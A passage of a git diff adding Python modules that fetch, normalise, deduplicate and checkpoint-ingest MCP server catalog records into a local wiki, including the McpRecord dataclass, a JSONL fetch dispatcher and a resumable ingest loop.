+    """Mirror of mcp_fetch/mcp_ingest helper — Windows cp1252 crashes
+    on CJK/emoji in pulsemcp descriptions, so force UTF-8 at entry."""
+    for stream in (sys.stdout, sys.stderr):
+        reconfigure = getattr(stream, "reconfigure", None)
+        if reconfigure is None:
+            continue
+        try:
+            reconfigure(encoding="utf-8", errors="replace")
+        except (OSError, ValueError):
+            pass
+
+
+def main() -> None:
+    _force_utf8_stdio()
+    parser = _build_parser()
+    args = parser.parse_args()
+
+    wiki_path = Path(os.path.expanduser(args.wiki))
+
+    if args.status:
+        _print_status(wiki_path, args.source)
+        sys.exit(0)
+
+    if args.reset:
+        try:
+            _checkpoint_path(wiki_path, args.source).unlink()
+            print(f"Reset checkpoint for {args.source!r}.", file=sys.stderr)
+        except FileNotFoundError:
+            pass
+
+    checkpoint = load_checkpoint(wiki_path, args.source)
+
+    if args.slug:
+        # Single-slug path: bypass the discovery loop, build a one-file list.
+        root = wiki_path / _MCP_ENTITY_SUBDIR
+        # Shard lookup mirrors McpRecord.entity_relpath.
+        shard = args.slug[0] if args.slug and args.slug[0].isalpha() else "0-9"
+        entity_paths = [root / shard / f"{args.slug}.md"]
+        if not entity_paths[0].is_file():
+            print(
+                f"Error: no entity at {entity_paths[0]} — has it been ingested?",
+                file=sys.stderr,
+            )
+            sys.exit(1)
+    else:
+        entity_paths = list(_iter_entities(wiki_path))
+        if not entity_paths:
+            print("No MCP entities found — run ctx-mcp-ingest first.", file=sys.stderr)
+            sys.exit(1)
+
+    graceful = _GracefulExit()
+    graceful.install()
+    try:
+        enrich_entities(
+            entity_paths,
+            source_name=args.source,
+            wiki_path=wiki_path,
+            checkpoint=checkpoint,
+            refresh=args.refresh,
+            dry_run=args.dry_run,
+            limit=args.limit,
+            skip_failures=args.skip_failures,
+            flush_every=args.flush_every,
+            sleep_seconds=args.sleep,
+            graceful=graceful,
+            report_progress=not args.quiet,
+        )
+    finally:
+        graceful.uninstall()
+
+    sys.exit(1 if checkpoint["failures"] else 0)
+
+
+if __name__ == "__main__":
+    main()
diff --git a/src/mcp_entity.py b/src/mcp_entity.py
new file mode 100644
index 0000000000000000000000000000000000000000..06d5d7f982313313c8b239775294a459ab7ad18c
--- /dev/null
+++ b/src/mcp_entity.py
@@ -0,0 +1,388 @@
+#!/usr/bin/env python3
+"""
+mcp_entity.py -- Frozen ``McpRecord`` dataclass for the MCP-server catalog.
+
+``ctx`` already indexes skills and agents as first-class entities in the
+knowledge graph. MCP servers are the third subject type; this module is
+the Phase-1 schema they are normalised into before they ever touch disk.
+
+Design notes
+------------
+* The record is ``frozen=True`` with ``tuple`` collections so the same
+  instance can be safely shared across the fetcher, the dedup layer, and
+  the graph builder without defensive copies at every hop.
+* ``from_dict`` is the sole entry point for raw fetcher payloads. It is
+  tolerant of garbage (unknown transports, messy slugs, short-ref GitHub
+  URLs) and fails loudly only when the slug is unrecoverable — that is
+  the one field downstream code cannot repair.
+* No I/O. The module is pure so it can be unit-tested without a network,
+  a filesystem, or the rest of the ``ctx`` runtime wiring.
+
+See ``src/wiki_utils.SAFE_NAME_RE`` for the legacy skill-name pattern;
+MCP slugs enforce the stricter Tier-2 contract (lowercase + hyphens
+only) used by ``skill_add_detector.validate_user_supplied_slug``.
+"""
+
+from __future__ import annotations
+
+import copy
+import re
+from dataclasses import dataclass, field
+from pathlib import Path
+from typing import Any
+
+__all__ = [
+    "ALLOWED_TRANSPORTS",
+    "MCP_SLUG_RE",
+    "McpRecord",
+    "canonicalize_github_url",
+    "normalize_slug",
+]
+
+# Tier-2 slug contract: lowercase, hyphens only, no leading/trailing
+# hyphen, no consecutive hyphens. Mirrors the wiki's stricter hook-side
+# validator so MCP entries are safe to use as filesystem paths and
+# graph node ids without further escaping.
+MCP_SLUG_RE = re.compile(r"^[a-z0-9]+(-[a-z0-9]+)*$")
+
+# Subset of the MCP spec's transport tags we consider meaningful. Any
+# fetcher input outside this set is silently dropped — see
+# ``_normalize_transports``.
+ALLOWED_TRANSPORTS: frozenset[str] = frozenset(
+    {"stdio", "http", "sse", "websocket"}
+)
+
+# GitHub URL matcher. Accepts http/https, optional ``www.``, trailing
+# ``.git`` / slash, and captures org + repo for canonical reassembly.
+# Host + scheme are matched case-insensitively (RFC 3986 §3.1 / §3.2.2);
+# the org/repo path is preserved verbatim so display case round-trips.
+_GITHUB_URL_RE = re.compile(
+    r"^(?:https?://)?(?:www\.)?github\.com/"
+    r"(?P[A-Za-z0-9][A-Za-z0-9._-]*)/"
+    r"(?P[A-Za-z0-9][A-Za-z0-9._-]*?)"
+    r"(?:\.git)?/?$",
+    re.IGNORECASE,
+)
+
+# Short-ref matcher (``Org/Repo``) — only considered when the input
+# contains no scheme and exactly one ``/``. Kept separate from the URL
+# matcher so a stray ``/`` in free-text URLs doesn't falsely match.
+_GITHUB_SHORT_REF_RE = re.compile(
+    r"^(?P[A-Za-z0-9][A-Za-z0-9._-]*)/"
+    r"(?P[A-Za-z0-9][A-Za-z0-9._-]*?)"
+    r"(?:\.git)?/?$"
+)
+
+_DESCRIPTION_MAX = 300
+_DESCRIPTION_TRUNCATE_AT = 297
+_DESCRIPTION_FALLBACK = "No description available."
+
+
+def normalize_slug(raw: str) -> str:
+    """Normalize a free-text name/slug to ``[a-z0-9]+(-[a-z0-9]+)*``.
+
+    Lowercases, collapses any run of non-alphanumeric characters to a
+    single hyphen, and strips leading/trailing hyphens. Raises
+    ``ValueError`` if nothing usable survives — downstream code cannot
+    invent a slug, so failing here is the correct behaviour.
+    """
+    if not isinstance(raw, str):
+        raise ValueError(f"slug must be str, got {type(raw).__name__}")
+    lowered = raw.strip().lower()
+    collapsed = re.sub(r"[^a-z0-9]+", "-", lowered).strip("-")
+    if not collapsed:
+        raise ValueError(f"slug normalization produced empty string from {raw!r}")
+    # The collapse already guarantees the pattern, but re-assert so any
+    # future regex change fails loudly rather than silently accepting
+    # malformed output.
+    if not MCP_SLUG_RE.match(collapsed):
+        raise ValueError(f"slug {collapsed!r} does not match {MCP_SLUG_RE.pattern}")
+    return collapsed
+
+
+def canonicalize_github_url(raw: str | None) -> str | None:
+    """Canonicalize a GitHub URL to ``https://github.com//``.
+
+    Accepts full URLs (``https://github.com/Org/Repo``), scheme-less
+    variants (``github.com/Org/Repo.git``), and short refs
+    (``Org/Repo``). Returns ``None`` when the input is ``None``, empty,
+    or not recognisable as a GitHub reference.
+
+    Case in the org/repo path is preserved — GitHub is case-insensitive
+    for routing but users expect display case to round-trip. Dedup is
+    handled separately by :meth:`McpRecord.canonical_dedup_key`.
+    """
+    if raw is None:
+        return None
+    candidate = raw.strip()
+    if not candidate:
+        return None
+
+    m = _GITHUB_URL_RE.match(candidate)
+    if m is None and "://" not in candidate and candidate.count("/") == 1:
+        m = _GITHUB_SHORT_REF_RE.match(candidate)
+    if m is None:
+        return None
+
+    return f"https://github.com/{m.group('org')}/{m.group('repo')}"
+
+
+def _normalize_tags(raw: object) -> tuple[str, ...]:
+    """Dedupe, lowercase, sort. Fall back to ``('uncategorized',)`` if empty."""
+    if not raw:
+        return ("uncategorized",)
+    if isinstance(raw, str):
+        # Tolerate a single comma-separated string from scruffier fetchers.
+        items: list[str] = [p for p in (s.strip() for s in raw.split(",")) if p]
+    elif isinstance(raw, (list, tuple, set, frozenset)):
+        items = [str(t).strip() for t in raw if str(t).strip()]
+    else:
+        return ("uncategorized",)
+    cleaned = {t.lower() for t in items if t}
+    if not cleaned:
+        return ("uncategorized",)
+    return tuple(sorted(cleaned))
+
+
+def _normalize_transports(raw: object) -> tuple[str, ...]:
+    """Filter to ``ALLOWED_TRANSPORTS``, lowercase, dedupe, sort."""
+    if not raw:
+        return ()
+    if isinstance(raw, str):
+        items: list[str] = [p for p in (s.strip() for s in raw.split(",")) if p]
+    elif isinstance(raw, (list, tuple, set, frozenset)):
+        items = [str(t).strip() for t in raw if str(t).strip()]
+    else:
+        return ()
+    kept = {t.lower() for t in items if t.lower() in ALLOWED_TRANSPORTS}
+    return tuple(sorted(kept))
+
+
+def _normalize_description(raw: object) -> str:
+    """Trim, fall back to placeholder when empty, truncate to 300 chars."""
+    if not isinstance(raw, str):
+        return _DESCRIPTION_FALLBACK
+    trimmed = raw.strip()
+    if not trimmed:
+        return _DESCRIPTION_FALLBACK
+    if len(trimmed) > _DESCRIPTION_MAX:
+        return trimmed[:_DESCRIPTION_TRUNCATE_AT] + "..."
+    return trimmed
+
+
+def _normalize_sources(raw: object) -> tuple[str, ...]:
+    """Dedupe + sort sources. Empty input yields an empty tuple."""
+    if not raw:
+        return ()
+    if isinstance(raw, str):
+        items: list[str] = [p for p in (s.strip() for s in raw.split(",")) if p]
+    elif isinstance(raw, (list, tuple, set, frozenset)):
+        items = [str(s).strip() for s in raw if str(s).strip()]
+    else:
+        return ()
+    cleaned = {s for s in items if s}
+    return tuple(sorted(cleaned))
+
+
+def _optional_lower(raw: object) -> str | None:
+    if raw is None:
+        return None
+    if not isinstance(raw, str):
+        return None
+    trimmed = raw.strip().lower()
+    return trimmed or None
+
+
+def _optional_str(raw: object) -> str | None:
+    if raw is None:
+        return None
+    if not isinstance(raw, str):
+        return None
+    trimmed = raw.strip()
+    return trimmed or None
+
+
+def _optional_author_type(raw: object) -> str | None:
+    val = _optional_lower(raw)
+    if val in {"org", "user"}:
+        return val
+    return None
+
+
+def _optional_int(raw: object) -> int | None:
+    if raw is None:
+        return None
+    if isinstance(raw, bool):
+        # ``bool`` is an ``int`` subclass; treat it as not-a-count.
+        return None
+    if isinstance(raw, int):
+        return raw
+    if isinstance(raw, str):
+        stripped = raw.strip()
+        if stripped.isdigit() or (stripped.startswith("-") and stripped[1:].isdigit()):
+            try:
+                return int(stripped)
+            except ValueError:  # pragma: no cover — isdigit() guarded
+                return None
+    return None
+
+
+@dataclass(frozen=True)
+class McpRecord:
+    """Normalized MCP-server record built from a fetcher payload.
+
+    All collection fields are ``tuple`` to preserve the ``frozen=True``
+    contract. ``raw`` is retained for debugging and is deep-copied on
+    construction so callers cannot mutate the stored payload after the
+    fact; it is never written to the entity page frontmatter.
+    """
+
+    # Required
+    slug: str
+    name: str
+    description: str
+    sources: tuple[str, ...]
+    # Provenance
+    github_url: str | None
+    homepage_url: str | None
+    # Classification
+    tags: tuple[str, ...]
+    transports: tuple[str, ...]
+    language: str | None
+    license: str | None
+    # Authorship
+    author: str | None
+    author_type: str | None
+    # Metrics — enriched later; None at initial fetch.
+    stars: int | None
+    last_commit_at: str | None
+    # Raw payload — kept for debugging, never serialized to entity body.
+    raw: dict[str, Any] = field(default_factory=dict)
+
+    @classmethod
+    def from_dict(cls, data: dict[str, Any]) -> McpRecord:
+        """Build an ``McpRecord`` from a fetcher's raw dict.
+
+        Normalizes slug (required), description, sources, tags, and
+        transports; canonicalizes the GitHub URL; coerces optional
+        string fields. Raises ``ValueError`` if the slug cannot be
+        recovered from either ``slug`` or ``name``.
+        """
+        if not isinstance(data, dict):
+            raise ValueError(f"from_dict expected dict, got {type(data).__name__}")
+
+        # Prefer an explicit slug; fall back to name. Both are fed
+        # through the same normalizer so the canonical form is
+        # identical regardless of which field the fetcher populated.
+        raw_slug = data.get("slug") or data.get("name") or ""
+        if not isinstance(raw_slug, str) or not raw_slug.strip():
+            raise ValueError("McpRecord requires non-empty 'slug' or 'name'")
+        slug = normalize_slug(raw_slug)
+
+        raw_name = data.get("name")
+        if isinstance(raw_name, str) and raw_name.strip():
+            name = raw_name.strip()
+        else:
+            # Fetcher didn't supply a display name — use the slug so the
+            # record is still renderable.
+            name = slug
+
+        description = _normalize_description(data.get("description"))
+        sources = _normalize_sources(data.get("sources"))
+
+        github_url = canonicalize_github_url(
+            data.get("github_url") if isinstance(data.get("github_url"), str) else None
+        )
+        homepage_url = _optional_str(data.get("homepage_url"))
+
+        tags = _normalize_tags(data.get("tags"))
+        transports = _normalize_transports(data.get("transports"))
+        language = _optional_lower(data.get("language"))
+        license_ = _optional_str(data.get("license"))
+
+        author = _optional_str(data.get("author"))
+        author_type = _optional_author_type(data.get("author_type"))
+
+        stars = _optional_int(data.get("stars"))
+        last_commit_at = _optional_str(data.get("last_commit_at"))
+
+        raw_payload = data.get("raw")
+        if isinstance(raw_payload, dict):
+            raw_copy: dict[str, Any] = copy.deepcopy(raw_payload)
+        else:
+            # No explicit ``raw`` key: snapshot the entire input so
+            # debugging has the original fetcher output available.
+            raw_copy = copy.deepcopy(data)
+
+        return cls(
+            slug=slug,
+            name=name,
+            description=description,
+            sources=sources,
+            github_url=github_url,
+            homepage_url=homepage_url,
+            tags=tags,
+            transports=transports,
+            language=language,
+            license=license_,
+            author=author,
+            author_type=author_type,
+            stars=stars,
+            last_commit_at=last_commit_at,
+            raw=raw_copy,
+        )
+
+    def to_frontmatter(self) -> dict[str, Any]:
+        """Return a dict ready for YAML frontmatter serialization.
+
+        Excludes ``raw``. Includes ``type: mcp-server`` and ``created`` /
+        ``updated`` placeholders (both ``None``) so the caller — which
+        owns wall-clock time — can fill them without re-shaping the
+        dict. Lists are emitted as ``list`` (YAML-friendly) rather than
+        the internal ``tuple`` representation.
+        """
+        return {
+            "type": "mcp-server",
+            "slug": self.slug,
+            "name": self.name,
+            "description": self.description,
+            "sources": list(self.sources),
+            "github_url": self.github_url,
+            "homepage_url": self.homepage_url,
+            "tags": list(self.tags),
+            "transports": list(self.transports),
+            "language": self.language,
+            "license": self.license,
+            "author": self.author,
+            "author_type": self.author_type,
+            "stars": self.stars,
+            "last_commit_at": self.last_commit_at,
+            "created": None,
+            "updated": None,
+        }
+
+    def entity_relpath(self) -> Path:
+        """Return ``Path('/.md')``.
+
+        ``shard`` is ``slug[0]`` for alphabetic slugs and the literal
+        ``'0-9'`` when the slug starts with a digit. Sharding keeps the
+        entity directory from growing into a single multi-thousand-file
+        mess as the MCP catalog fills in.
+        """
+        first = self.slug[0]
+        shard = "0-9" if first.isdigit() else first
+        return Path(shard) / f"{self.slug}.md"
+
+    def canonical_dedup_key(self) -> str:
+        """Return the key used to detect duplicates across sources.
+
+        When a GitHub URL is present we strip trailing slashes and
+        lowercase the entire URL so ``https://github.com/Org/Repo`` and
+        ``https://GitHub.com/org/repo/`` collapse to the same key.
+        Otherwise we fall back to ``'slug:' + self.slug`` so records
+        without a repo can still be deduplicated by their normalized
+        slug.
+        """
+        if self.github_url:
+            return self.github_url.rstrip("/").lower()
+        return f"slug:{self.slug}"
diff --git a/src/mcp_fetch.py b/src/mcp_fetch.py
new file mode 100644
index 0000000000000000000000000000000000000000..112712707691b9a6b33608ec82ce00c471296967
--- /dev/null
+++ b/src/mcp_fetch.py
@@ -0,0 +1,222 @@
+#!/usr/bin/env python3
+"""
+mcp_fetch.py -- Dispatcher for MCP catalog sources.
+
+Emits one JSON record per line on stdout so the output pipes directly into
+``ctx-mcp-add --from-stdin``.  The dispatcher knows nothing about specific
+catalog shapes; it resolves a source by name from
+:data:`mcp_sources.SOURCES`, calls its ``fetch`` method, and serialises
+each yielded dict as JSONL.
+
+Usage
+-----
+    ctx-mcp-fetch --source awesome-mcp [--limit N] [--refresh]
+    ctx-mcp-fetch --source all [--limit N]
+    ctx-mcp-fetch --list-sources
+
+Downstream pipe
+---------------
+    ctx-mcp-fetch --source awesome-mcp --limit 5 | ctx-mcp-add --from-stdin
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import sys
+from typing import Iterator
+
+from mcp_sources import SOURCES
+
+
+def _emit(records: Iterator[dict]) -> int:
+    """Write *records* as JSONL to stdout.  Return the count emitted."""
+    count = 0
+    for rec in records:
+        # ``separators`` kills the default ", " / ": " whitespace so each
+        # line is compact; JSONL consumers treat each line as a standalone
+        # document, so trailing whitespace is wasted bytes at batch scale.
+        sys.stdout.write(json.dumps(rec, ensure_ascii=False, separators=(",", ":")))
+        sys.stdout.write("\n")
+        count += 1
+    sys.stdout.flush()
+    return count
+
+
+def _run_one(
+    source_name: str, *, limit: int | None, refresh: bool
+) -> tuple[int, int]:
+    """Fetch from a single named source.  Return ``(emitted, errors)``."""
+    try:
+        source = SOURCES[source_name]
+    except KeyError:
+        print(
+            f"Error: unknown source {source_name!r}. "
+            f"Known: {', '.join(sorted(SOURCES)) or '(none registered)'}",
+            file=sys.stderr,
+        )
+        return 0, 1
+
+    try:
+        emitted = _emit(source.fetch(limit=limit, refresh=refresh))
+    except Exception as exc:  # noqa: BLE001 — dispatcher must not leak tracebacks to pipes
+        print(f"Error: source {source_name!r} failed: {exc}", file=sys.stderr)
+        return 0, 1
+
+    print(
+        f"[{source_name}] emitted {emitted} record(s)",
+        file=sys.stderr,
+    )
+    return emitted, 0
+
+
+def _run_all(*, limit: int | None) -> tuple[int, int]:
+    """Fetch from every registered source, summing emissions and errors.
+
+    ``--limit`` applies *per source*.  Applying a single global cap would
+    bias the output toward whichever source is iterated first, which
+    defeats the point of listing them side-by-side.
+    """
+    total_emitted = 0
+    total_errors = 0
+    for name in sorted(SOURCES):
+        emitted, errors = _run_one(name, limit=limit, refresh=False)
+        total_emitted += emitted
+        total_errors += errors
+    return total_emitted, total_errors
+
+
+def _list_sources() -> int:
+    """Print each registered source and its homepage to stdout.  Return 0."""
+    if not SOURCES:
+        print("(no sources registered)")
+        return 0
+    for name in sorted(SOURCES):
+        src = SOURCES[name]
+        print(f"{name}\t{src.homepage}")
+    return 0
+
+
+def _build_parser() -> argparse.ArgumentParser:
+    parser = argparse.ArgumentParser(
+        prog="ctx-mcp-fetch",
+        description=(
+            "Fetch MCP server records from a registered catalog source "
+            "and emit them as JSONL on stdout."
+        ),
+    )
+    group = parser.add_mutually_exclusive_group(required=True)
+    group.add_argument(
+        "--source",
+        metavar="NAME",
+        help="Source name (e.g. 'awesome-mcp') or 'all' for every registered source",
+    )
+    group.add_argument(
+        "--list-sources",
+        action="store_true",
+        help="List registered sources with their homepages and exit",
+    )
+    parser.add_argument(
+        "--limit",
+        type=int,
+        default=None,
+        help="Cap the number of records yielded per source (default: no cap)",
+    )
+    parser.add_argument(
+        "--refresh",
+        action="store_true",
+        help="Bypass the local raw cache and fetch fresh upstream content",
+    )
+    parser.add_argument(
+        "-v", "--verbose",
+        action="count",
+        default=0,
+        help=(
+            "Enable progress logging to stderr. -v for INFO (parse counts, "
+            "page progress), -vv for DEBUG (per-entry skip reasons). Library "
+            "modules emit via ``logging`` by default but are silent unless "
+            "this flag wires up basicConfig."
+        ),
+    )
+    return parser
+
+
+def _configure_logging(verbosity: int) -> None:
+    """Wire logging.basicConfig for CLI visibility.
+
+    Phase 2.5 replaced print(stderr) in library code with logging calls
+    which are silent by default. This helper lights them up on demand.
+    stderr (not stdout) so JSONL pipe consumers stay clean.
+    """
+    if verbosity <= 0:
+        return
+    import logging  # noqa: PLC0415 — local import keeps cold-path cost off imports
+    level = logging.DEBUG if verbosity >= 2 else logging.INFO
+    logging.basicConfig(
+        level=level,
+        format="[%(name)s] %(message)s",
+        stream=sys.stderr,
+    )
+
+
+def _force_utf8_stdio() -> None:
+    """Reconfigure stdout/stderr to UTF-8 on platforms that default to
+    something narrower (Windows cp1252).
+
+    The JSONL output uses ``ensure_ascii=False`` so non-ASCII names,
+    descriptions, and emoji flow through verbatim — which crashes the
+    default Windows console with ``UnicodeEncodeError: 'charmap' codec``
+    the moment a record contains a non-Latin-1 character. Real pulsemcp
+    records routinely include CJK, emoji, and accented characters, so
+    this is guaranteed to fire on any non-trivial run on Windows.
+
+    ``reconfigure`` is a best-effort call: if the stream has already been
+    replaced (e.g. in tests that capture stdout) or if the platform's
+    stdio doesn't support reconfigure, the original encoding stays.
+    """
+    for stream in (sys.stdout, sys.stderr):
+        reconfigure = getattr(stream, "reconfigure", None)
+        if reconfigure is None:
+            continue
+        try:
+            reconfigure(encoding="utf-8", errors="replace")
+        except (OSError, ValueError):
+            # Closed stream or stream that rejects reconfiguration —
+            # not worth failing the run over.
+            pass
+
+
+def main() -> None:
+    """Entry point for the ``ctx-mcp-fetch`` console script."""
+    _force_utf8_stdio()
+    parser = _build_parser()
+    args = parser.parse_args()
+    _configure_logging(args.verbose)
+
+    if args.list_sources:
+        sys.exit(_list_sources())
+
+    if args.limit is not None and args.limit <= 0:
+        print("Error: --limit must be a positive integer.", file=sys.stderr)
+        sys.exit(2)
+
+    if args.source == "all":
+        if args.refresh:
+            # --refresh on 'all' would silently re-fetch every source; that is
+            # almost never what the operator intends, so we refuse it rather
+            # than surprise them with a long network burst.
+            print(
+                "Error: --refresh is not supported with --source all; "
+                "refresh one source at a time.",
+                file=sys.stderr,
+            )
+            sys.exit(2)
+        _, errors = _run_all(limit=args.limit)
+    else:
+        _, errors = _run_one(args.source, limit=args.limit, refresh=args.refresh)
+
+    sys.exit(1 if errors else 0)
+
+
+if __name__ == "__main__":
+    main()
diff --git a/src/mcp_ingest.py b/src/mcp_ingest.py
new file mode 100644
index 0000000000000000000000000000000000000000..31df9134561bb2c6f7a0f874969a493c9f66fd34
--- /dev/null
+++ b/src/mcp_ingest.py
@@ -0,0 +1,550 @@
+#!/usr/bin/env python3
+"""
+mcp_ingest.py -- Resume-safe MCP ingest orchestrator.
+
+Phase 6c wraps the ``fetch -> add`` pipeline with a durable checkpoint
+so a 12k+ run that crashes at record 9,500 restarts at record 9,501,
+not at 0. The orchestrator is otherwise a thin shim: each record goes
+through ``mcp_add.add_mcp`` unchanged, and the checkpoint is advisory
+(the filesystem + canonical index remain authoritative).
+
+Why not async/threaded
+----------------------
+The hot cost per record is the intake gate's embedding model call
+(~100ms). That is synchronous and sentence-transformers-backed; running
+it across threads would contend on the embedding cache JSON writes and
+force us to isolate per-thread caches. The proper optimization is
+batch inference inside ``intake_pipeline`` — a separate change. Until
+then, sequential is simpler, correct, and resume-safe, which is the
+reliability win that actually matters for large ingests.
+
+Usage
+-----
+    # Stream from a source, checkpointed per-source:
+    ctx-mcp-fetch --source awesome-mcp | ctx-mcp-ingest --source awesome-mcp
+
+    # Replay a JSONL file (idempotent re-runs skip already-processed):
+    ctx-mcp-ingest --source pulsemcp --from-jsonl records.jsonl
+
+    # Retry only the failures from the prior run:
+    ctx-mcp-ingest --source pulsemcp --retry-failures --from-stdin
+
+    # Inspect progress:
+    ctx-mcp-ingest --source pulsemcp --status
+
+Checkpoint
+----------
+Location: ``/.ingest-checkpoint/.json``
+
+Schema v1::
+
+    {
+      "version": 1,
+      "source": "pulsemcp",
+      "started_at": "2026-04-21T06:00:00Z",
+      "updated_at": "2026-04-21T06:12:34Z",
+      "total_seen": 12975,
+      "processed": {
+        "": {"result": "added"|"merged"|"rejected", "at": "..."}
+      },
+      "failures": {
+        "": {"error": "...", "at": "..."}
+      }
+    }
+
+``processed`` slugs skip entirely on resume. ``failures`` are kept
+separate so ``--retry-failures`` can target just them without re-doing
+the 9k successful records.
+
+Interrupts
+----------
+SIGINT/SIGTERM trigger a final checkpoint flush before exit. The
+in-flight record is NOT aborted mid-write — Python's signal handling
+is cooperative, so the interrupt is observed between records. In the
+worst case the checkpoint is one record behind disk state; the next
+run's resume will re-attempt that slug and either merge (if already
+written) or add (if the crash happened before write).
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import os
+import signal
+import sys
+from datetime import datetime, timezone
+from pathlib import Path
+from typing import Any, Iterable, TypedDict
+
+from ctx.utils._fs_utils import atomic_write_json
+from ctx_config import cfg
+from intake_pipeline import IntakeRejected
+from mcp_add import add_mcp, _MCP_ENTITY_SUBDIR
+from mcp_entity import McpRecord
+from ctx.core.wiki.wiki_sync import ensure_wiki
+
+__all__ = [
+    "CHECKPOINT_SUBDIR",
+    "CHECKPOINT_VERSION",
+    "IngestCheckpoint",
+    "load_checkpoint",
+    "save_checkpoint",
+    "ingest_records",
+]
+
+CHECKPOINT_SUBDIR = ".ingest-checkpoint"
+CHECKPOINT_VERSION = 1
+DEFAULT_FLUSH_EVERY = 10
+
+
+class _ProcessedEntry(TypedDict):
+    result: str  # "added" | "merged" | "rejected"
+    at: str
+
+
+class _FailureEntry(TypedDict):
+    error: str
+    at: str
+
+
+class IngestCheckpoint(TypedDict):
+    """On-disk checkpoint. ``source`` pins the checkpoint to one catalog."""
+
+    version: int
+    source: str
+    started_at: str
+    updated_at: str
+    total_seen: int
+    processed: dict[str, _ProcessedEntry]
+    failures: dict[str, _FailureEntry]
+
+
+# ── Checkpoint persistence ───────────────────────────────────────────────────
+
+
+def _now_iso() -> str:
+    """UTC ISO-8601 timestamp with seconds precision."""
+    return datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
+
+
+def _checkpoint_path(wiki_path: Path, source: str) -> Path:
+    """Return the sidecar path for ``source``'s checkpoint.
+
+    Source name safety delegates to the shared validator in
+    ``_safe_name``. See its docstring for the full rule set — most
+    notably it rejects Windows drive-relative (``C:evil``) which the
+    older ad-hoc check missed. Security-auditor H-3.
+    """
+    from ctx.utils._safe_name import validate_source_name  # noqa: PLC0415
+    validate_source_name(source, field="source")
+    return wiki_path / CHECKPOINT_SUBDIR / f"{source}.json"
+
+
+def _empty_checkpoint(source: str) -> IngestCheckpoint:
+    """Return a fresh checkpoint seeded with ``source`` and now-timestamps."""
+    now = _now_iso()
+    return {
+        "version": CHECKPOINT_VERSION,
+        "source": source,
+        "started_at": now,
+        "updated_at": now,
+        "total_seen": 0,
+        "processed": {},
+        "failures": {},
+    }
+
+
+def load_checkpoint(wiki_path: Path, source: str) -> IngestCheckpoint:
+    """Load ``source``'s checkpoint. Return an empty one on any failure.
+
+    Missing file, corrupt JSON, version mismatch, or wrong shape all
+    collapse to "fresh run". This is intentional: the filesystem +
+    canonical index are authoritative, so a lost checkpoint just means
+    the next run re-attempts records. Those will hit the existing
+    entity paths and take the merge-not-add branch — cheap and correct.
+    """
+    path = _checkpoint_path(wiki_path, source)
+    if not path.is_file():
+        return _empty_checkpoint(source)
+    try:
+        data = json.loads(path.read_text(encoding="utf-8"))
+    except (OSError, json.JSONDecodeError):
+        return _empty_checkpoint(source)
+    if not isinstance(data, dict) or data.get("version") != CHECKPOINT_VERSION:
+        return _empty_checkpoint(source)
+    if data.get("source") != source:
+        # Defensive: someone hand-copied a checkpoint or the filename
+        # was renamed. Treat as mismatch rather than silently conflating.
+        return _empty_checkpoint(source)
+    processed = data.get("processed") or {}
+    failures = data.get("failures") or {}
+    if not isinstance(processed, dict) or not isinstance(failures, dict):
+        return _empty_checkpoint(source)
+    return {
+        "version": CHECKPOINT_VERSION,
+        "source": source,
+        "started_at": str(data.get("started_at") or _now_iso()),
+        "updated_at": str(data.get("updated_at") or _now_iso()),
+        "total_seen": int(data.get("total_seen") or 0),
+        "processed": processed,
+        "failures": failures,
+    }
+
+
+def save_checkpoint(wiki_path: Path, checkpoint: IngestCheckpoint) -> None:
+    """Atomically persist ``checkpoint`` to the sidecar. Bumps ``updated_at``."""
+    checkpoint["updated_at"] = _now_iso()
+    atomic_write_json(_checkpoint_path(wiki_path, checkpoint["source"]), checkpoint)
+
+
+# ── Core loop ────────────────────────────────────────────────────────────────
+
+
+class _GracefulExit:
+    """SIGINT/SIGTERM observer. ``requested`` flips to True between records.
+
+    We intentionally don't raise from the handler — Python's signal
+    handling is cooperative, and raising mid-IO can corrupt partial
+    writes. The record loop checks ``requested`` between iterations
+    and flushes cleanly.
+    """
+
+    def __init__(self) -> None:
+        self.requested = False
+        self._prev_int = signal.getsignal(signal.SIGINT)
+        self._prev_term = signal.getsignal(signal.SIGTERM)
+
+    def install(self) -> None:
+        signal.signal(signal.SIGINT, self._handle)
+        # SIGTERM isn't deliverable on Windows the same way (Python only
+        # surfaces SIGBREAK/SIGINT there), but signal.signal on an
+        # unsupported signal is a no-op on Windows so this is safe.
+        try:
+            signal.signal(signal.SIGTERM, self._handle)
+        except (ValueError, OSError):
+            pass
+
+    def uninstall(self) -> None:
+        signal.signal(signal.SIGINT, self._prev_int)
+        try:
+            signal.signal(signal.SIGTERM, self._prev_term)
+        except (ValueError, OSError):
+            pass
+
+    def _handle(self, signum: int, frame: object) -> None:  # noqa: ARG002
+        self.requested = True
+
+
+def ingest_records(
+    records: Iterable[dict[str, Any]],
+    *,
+    source: str,
+    wiki_path: Path,
+    checkpoint: IngestCheckpoint,
+    dry_run: bool = False,
+    retry_failures: bool = False,
+    flush_every: int = DEFAULT_FLUSH_EVERY,
+    graceful: _GracefulExit | None = None,
+    report_progress: bool = True,
+) -> IngestCheckpoint:
+    """Run ``records`` through ``add_mcp``, updating ``checkpoint`` in place.
+
+    Returns the same checkpoint object (mutated) for caller convenience.
+    Writes to disk every ``flush_every`` records and on graceful exit.
+
+    Skip rules:
+      - slug in ``checkpoint['processed']`` -> skip (already done)
+      - slug in ``checkpoint['failures']`` AND not retry_failures -> skip
+      - slug in ``checkpoint['failures']`` AND retry_failures -> retry
+        (the failure entry is removed before the attempt; success or
+        new failure overwrites it)
+    """
+    added = merged = rejected = errored = skipped = 0
+    seen_this_run = 0
+
+    def _progress(i: int, slug: str, status: str) -> None:
+        if report_progress:
+            print(f"  [{i}] [{status}] {slug}", flush=True)
+
+    for raw in records:
+        checkpoint["total_seen"] += 1
+        seen_this_run += 1
+
+        raw_slug = raw.get("slug") or ""
+
+        # Parse first so checkpoint key matches record.slug exactly.
+        # Malformed records go to failures keyed by the raw slug we have.
+        try:
+            record = McpRecord.from_dict(raw)
+        except Exception as exc:  # noqa: BLE001 — one bad record must not kill the run
+            errored += 1
+            checkpoint["failures"][str(raw_slug)] = {
+                "error": f"parse: {exc}",
+                "at": _now_iso(),
+            }
+            _progress(seen_this_run, str(raw_slug), "parse-error")
+            if seen_this_run % flush_every == 0:
+                save_checkpoint(wiki_path, checkpoint)
+            if graceful and graceful.requested:
+                break
+            continue
+
+        slug = record.slug
+
+        # Resume decisions.
+        if slug in checkpoint["processed"]:
+            skipped += 1
